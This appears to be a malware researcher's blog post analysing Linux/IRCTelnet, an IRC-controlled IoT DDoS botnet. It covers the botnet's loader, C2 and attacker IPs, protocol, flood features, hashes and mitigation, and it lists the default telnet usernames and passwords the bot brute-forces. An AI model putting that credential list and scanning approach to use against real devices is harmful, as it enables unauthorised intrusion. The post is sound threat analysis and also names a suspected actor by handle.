I use name Linux/IRCTelnet (new Aidra) as codename for this ELF malware. Some friends are advising to name as per language that spotted, but I personally don't think it is ethic to use other country's or language's or culture's into naming of malware..

[EDIT] After further analysis comparing the overall done reversed code to the historically known / detected ELF malware botnet libraries that I can find, I found a very good match, that confirms the source code used to build this botnet malware is based on the root codes of Aidra botnet.

The analysis is stayed as per it is, since it was reversed BEFORE I even know this fact, which is good. I found the match in major parts of codes after the reversing was done. It is very lucky to see new type of Aidra botnet in this era, and this botnet is a re-designed and modified new model to aim IoT vulnerability problem that we have now.

Built based on old codes of Aidra bot, added with new logic of Torlus/Gayfgt's for telnet scanner and using the Mirai's "leaked" vulnerable IoT device's login credential to brute the access, is driving a high infection speed of Linux/IRCTelnet (new Aidra), so it can raised almost 3,500 bot clients within only 5 days from the moment its loader was firstly detected. To incarnate a legendary botnet code into a new version that can aim the recent vulnerable threat landscape is really inviting more bad news...
[/EDIT]

In this post I am not using much snippet codes on assembly with r2 interface but using much of RE reconstructed C code for the better understanding from wider readers of the malicious activities reported. Noted: The reconstruction of C code is not as same as the original malware code itself, it will refer to the previous malcodes data set along with the malware's assembly decoder, so please use them as reference. Thank you radare2 team for the cool decoder feature.

Attack vector

The spreader (a.k.a. "loader") attacks were coming via telnet brutes from below IP sources with the time stamp:

2016-10-25 17:09:52| IP=88.250.211.251
2016-10-26 15:21:10| IP=122.54.151.163
2016-10-26 16:28:24| IP=88.250.221.78 
2016-10-27 00:14:23| IP=37.233.16.70  
2016-10-27 17:16:05| IP=37.233.19.216 

With executing a one-liner shell command to download and install the malware with this template and example:

The malware installer script itself is as per below:

So it is using better coded shell script than other skiddos we know. It kills the previous running instance of the same malware, removing the previous binaries (if any), and download the latest version from the designated CNC and run it, to then removing the binaries and the installer script itself.

Since the loader script is actually written in the malware itself, the attack possibilities are limited to the already infected nodes, but not eliminated the similar script executed directly from the actor's environment himself. If we look into the samples and architectures aimed for this infection, all of the listed architecture that is using OS compatible with linux kernel 2.6.x (2.6.32 or above likely) can be infected and participated into the attacking vectors.

Below is the list of the attacker nodes in GeoIP:

{
  ip: "88.250.221.78",
  region: "Manisa",
  country: "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

  ip: "88.250.211.251",
  region: "Yalova",
  country: "TR",
  org: "AS9121 Turk Telekomunikasyon Anonim Sirketi"

  ip: "122.54.151.163",
  hostname: "122.54.151.163.pldt.net",
  country: "PH",
  org: "AS9299 Philippine Long Distance Telephone Company"

  ip: "37.233.16.70",
  country: "MD",
  org: "AS31252 STARNET S.R.L"

  ip: "37.233.19.216",
  country: "MD",
  org: "AS31252 STARNET S.R.L"
}

The binary analysis

I used these binaries to analyze Linux/IRCTelnet (new Aidra), statically compiled & unstripped:

Coded in C++, those ELF for the embedded platform were mostly statically compiled with uClibc, except for the ARM binary which is having obviously using GCC compilation with the trace:

/home/firmware/build/temp-armv5l/gcc-core/gcc/config/arm/

Trimming the compiler's linked library source codes, you can see the original source code files as per below list:

main.c
utils.c
irc.c
scan.c
attacks.c

The interesting part is the usage Italian language in messages hardcoded in this ELF..

You may want to think maybe these messages are related to "others" than malicious usage which accidentally compiled or linked together. Well, in the following section you can see the actual usage of one of the message in its usage of the malicious activity performed by this botnet.

Reverse engineering

Main process

After dwelling through some assembly and reconstruction of its C code, comparing each result to each ELF generated and went back & forth, the main.c of this malware's source code can be reconstructed to similar like this one:

The Linux/IRCTelnet (new Aidra) malware works like this:

1. Cheking fork and pid beforehand..
2. It gets the uname data of a compromised system
3. Loading the encoded CNC data
4. Decoded the CNC data
5. Send http request to CNC with HTTP/1.0 to get GeoIP
   ("GET / HTTP/1.0\nHost: 164.132.237.180\n\n")
6. Reversed the GeoIP strings for BotID
7. Connect to the IRC C2 server, using "d3x" if uname is unavaliable
8. Starting the IRC connection
9. Listen to the CNC commands and act according instruction
10. Instructions are in Botnet Protocol section self-expalnatory

Unsurprisingly, due to the target platform aimed is IoT, there is no sign of persistence effort coded in this malware.

The telnet scanner

The telnet scanner function is called by passing the login and password data to function called SCAN_CONTROL(), and it may look something like this logic:
The login and passwords itself is hardcoded in the binary file, usernames are as follows:

root         ADMIN
admin        access
ttnet        system
Admin        sysAdmin
password     enter
nokia        Symbol
XA1bac0MX    conexant
1234         sitecom
dreambox     adslolitec
public       home-modem
0987654321   D-Link
1234567      user

12345              987654321
1111               12345678
changeme2          switch
default            jvc
administrator      extendnet
1234567890         adminttd
private            microbusiness
654321             3333
87654321           6666
123456789          8888
PASSWORD           0000
camera             4444
speedxess          5555
barricade          7777
epicrouter         9999
admin1234567890    12345Admin
changeme           56789Admin
admin1234          1234Admin
123456             meinsm
4321               ikwd
54321              wbox123
1234admin          visual
2222               166816
1q2w3e             admin_1
qwerty             smcadmin
7654321            sky
                   superuser

The encoded CNC can be found in below function with its decoder:

*)The garbled characters was caused by my char-encoded screen, some was cut in the middle..

The logic is simple, in some effort you can bring some information needed like below:

The CNC and Panel..

Up to this level, in additional to the threat landscape, we have the CNC IP address and payload panel IP address which are located in France, as per below:

{
"ip": "137.74.234.206",
"country": "FR",
"loc": "48.8582,2.3387",
"org": "AS16276 OVH SAS"

"ip": "164.132.237.180",
"country": "FR",
"loc": "48.8582,2.3387",
"org": "AS16276 OVH SAS"
}

Botnet protocol and more on telnet scanning detail

Main communication protocol, which is based on the IRC client protocol, it is hard coded in the irc.c, with several like per coded in kaiten or STD, with new fresh coding that can be seen something like shown in the RE code snipped below:

The server-to-client commands list used is as per shown in the below figure:

As for the CNC protocol, we make a PoC for the decoded values, we logged in, and soon, several commands for scanning the telnet protocol of the specific target was received. I saved the log as per below:

Here we can see the UnReal ircd was used, around 3,400 users are connected, which it seems the herds botnet volume (if the data of bogus server is correct), the botherder is using the nickname "R2D2" and there are more data that you can read from this log.

Yes I know, I know, no PCAP no love yes? Lucky that I took one.

What happened after the three scan command received was, the bot client is scanning the first two prefix ip address range for the telnet service in order to infect them, you can see the saved logs in my testbed as below:

//////// Scan result /////////

TCP 127.0.0.1:36040->49.204.1.60:23 (SYN_SENT)
TCP 127.0.0.1:58298->49.204.211.14:23 (SYN_SENT)
TCP 127.0.0.1:58298->49.204.211.14:23 (SYN_SENT)
 :

TCP 127.0.0.1:33637->59.36.224.103:23 (SYN_SENT)
TCP 127.0.0.1:45555->59.36.158.245:23 (SYN_SENT)
 :

TCP 127.0.0.1:47767->219.129.1.113:23 (SYN_SENT)
TCP 127.0.0.1:49476->219.129.110.120:23 (SYN_SENT)
 :

Yes, of course, no PCAP no love, so here we go, the PoC in screenshot PCAP:

The scanning, credential bruting, and Italian language messaging..

Apparently the command sent from CNC is in the form of two first bits of an IP address and then the bot client will do the scan, as per coded in SCAN() function, for the ip addresses in the defined segment. During the scanning itself the login brute command is issued too, by calling the SCAN_CONTROL function mentioned previously.

This this SCAN() function also was PoC'ed the Italian message used was sent to the CNC via private message to inform the herder of the scanning progress.. So..it seems we have an Italian speaker botnet actor here. The reverse engineered code of the last part of scanning function is as per below:

I leave this for the law enforcement to follow deeper.

Attack vector & IPv6 support

Combination of DoS attack method designed in this botnet is as per following coded list:

Hmm..this looks scary.. A lot of DoS attack combination is planned.. I am not DDoS expert so I can not say whether these attacks as powerful as it sounds, but the intention is definitely, seriously..bad.

As per you see in the server-to-client command list in the previous sections, this botnet is supported attacks(DDoS) of IPv4 and IPv6 packets through the attack generator sending functions called sendV4() and sendV6(). Not only the attack but spoofing IP address also be done in the IPv4 or IPv6 form.

Below is the flood generating function on IPv6, I didn't and don't want to "test" this flood in action so this is a reversing report (I am using latest version of r2, with new cool features):

The request for flooding was sent to this function via DoS commands of "tcp6" or udp6", it has "spoof6" option too, and the work flow is more or less as per shown diagram above. There are 4 streams of codes (I wrote 4 patterns in pic..but due to limited space I wrote only one of them) during the flood is executed, in the end of function, referring to the combination of udp6,tcp6 with or without spoof6 options, I didn't check it too deep in detail values used yet, as long as the usage is clear it is enough to verdict this new malicious feature.

To be noted, the telnet scanner function is only for IPv4 (thank's for @sawaba for the good question)

You can grep IP spoof values pushed in stack in IPv4 and IPv6 in various places with coded like:

push    offset "%d.%d.%d.%d"
push    offset spoof4
  :
push    offset "%x:%x:%x:%x:%x:%x:%x:%x"
push    offset spoof6

The Botnet origin and its suspected actor

[EDIT] As per stated in the "Summary" section, based on the reversed engineered source code compared to previous ELF botnet malware codes, I confirmed this botnet is a new version of Aidra bot. This information to then being used for the next step of investigation of the threat origin.[/EDIT]

1. The threat's origin info -->[link]
So many match, even for the data from 2013. 3 years is enough to mod a new botnet..
See also below similarities from what we gained from the actor, it's not a coincidence:

So the actor could be a known Italian hacker by handle of: d3m0n3 in IRCNet #hack.it

2. We managed to save partial IP addresses info of the infected IoT, will be shared to CERT channels. The snipped of the grabbed bot list, as the PoC, is as per below. To be noted: it is a significant big botnet volume of the infected IoT gathered by this malware by an infection within only few days (started from 25th October 2016)..

We can not expose openly the list of his bots, not even the rank country, nor infected ISP network data, due to the possibility that the data will be used by other hackers as IoT target to attack..

The samples. epilogue and additional..

Samples are in the VT with the following hashes:

SHA1 (darm) = 6152800c24cf6063d321fb00287d7da93743416a
SHA1 (dmpl) = e08023230c88c7e9adf1190877217d85a325a783
SHA1 (dmps) = d17a6992498a1ba429264dec9195a4f497116a72
SHA1 (dppc) = 430f892d8dea9cc502b28d9ae110da28a043a7be
SHA1 (dsph) = b49924a215c9d5db1b8ea60eafdfbdac5b554cf3
SHA1 (dspr) = a521fa29d5f871e67c8a6fd3f888266e105f86e5

ELF malware naming is important too

To have a new malware soon be detected is great. It needs a hard work to flag new ELF bins by new sig too, which I respect that too. But please use correct naming to point a threat, and don' mix them up. I wrote much details in VT comment for the samples of Linux/IRCTelnet (new Aidra) that is pointing to this analysis as reference, yet, at this point we still see results from AV who detect Linux/IRCTelnet (new Aidra) botnet client malware as GayFgt or as Tsunami(kaiten), which is not the case and incorrect.

Why this threat "naming" matters is important? Remember what had happened in Linux/Mirai? During the first disclosure of the Mirai malware threat we did, most of AV were detecting it as GayFgt and they leave it as per it is for long time..(thanks to AV who use the name Mirai right away!), so, the impact is..no one was seeing nor being alarmed of existence of a a new malware with its NEW CAPABILITIES can do by using old threat's name..
The same bad effect can be happened to this one too. So, please use more correct generic names (see the good examples shown in the picture below) or use its "committed" new name..

Threat mitigation and prevention

Mitigation for Linux/IRCTelnet (new Aidra) infection is as per also mentioned in the previous analysis about protecting your IoT. There is a lot of badness aiming global served telnet open service, if you don't really need it, please turn the service off, or use it with the access restriction and avoid the usage of the known vulnerable usernames or passwords.

Linux/IRCTelnet (new Aidra) doesn't have any persistence autostart or rootkit or anything that can damage your IoT. This varient can be easily removed by rebooting the infecting device. But if you don't secure the telnet after reboot, it will come to infect you again. CNC server is having the list of the infected nodes, so the actor can make a re-infection effort as soon as he realizes the bot client is wiped off.

Here's a security checklist to use, if you want to buy a new IoT device:

Thank you for the News & Internet Media publishment

Thank you Odisseus and Mr. Pierluigi Paganini for a quick setup of Q & A (interview) which is having a bit more additional of insights information in the Security Affair [link]. Many thanks to Mr. Catalin Cimpanu for sharply grasp the importance for raising awareness, in his quick Sofpedia's Security & Virus alerts post [link]. And thank you Mr. John Leyden for the overall compilation aspect of this threat, as per written in El Register's Emergent Tech/Internet of Things article [link].

What you write is important. We respect your effort to raise awareness while the threat is still young and control-able.

Salutation

Many thanks for many friends who read, helps and support some part of this analysis. To MMD friends @wirehack7 for the comm, Adam Ziaja [link] for the list. To Frank Denis for super fast follow (and idea of "IPv6 ready" words). For Adrian Sanabria for the good Q & A. Also to @Odysseus for local investigation on the threat's origin.

Stay safe and #MalwareMustDie!
Reversed, written and analyzed by @unixfreaxjp [link] on October 29th 2016.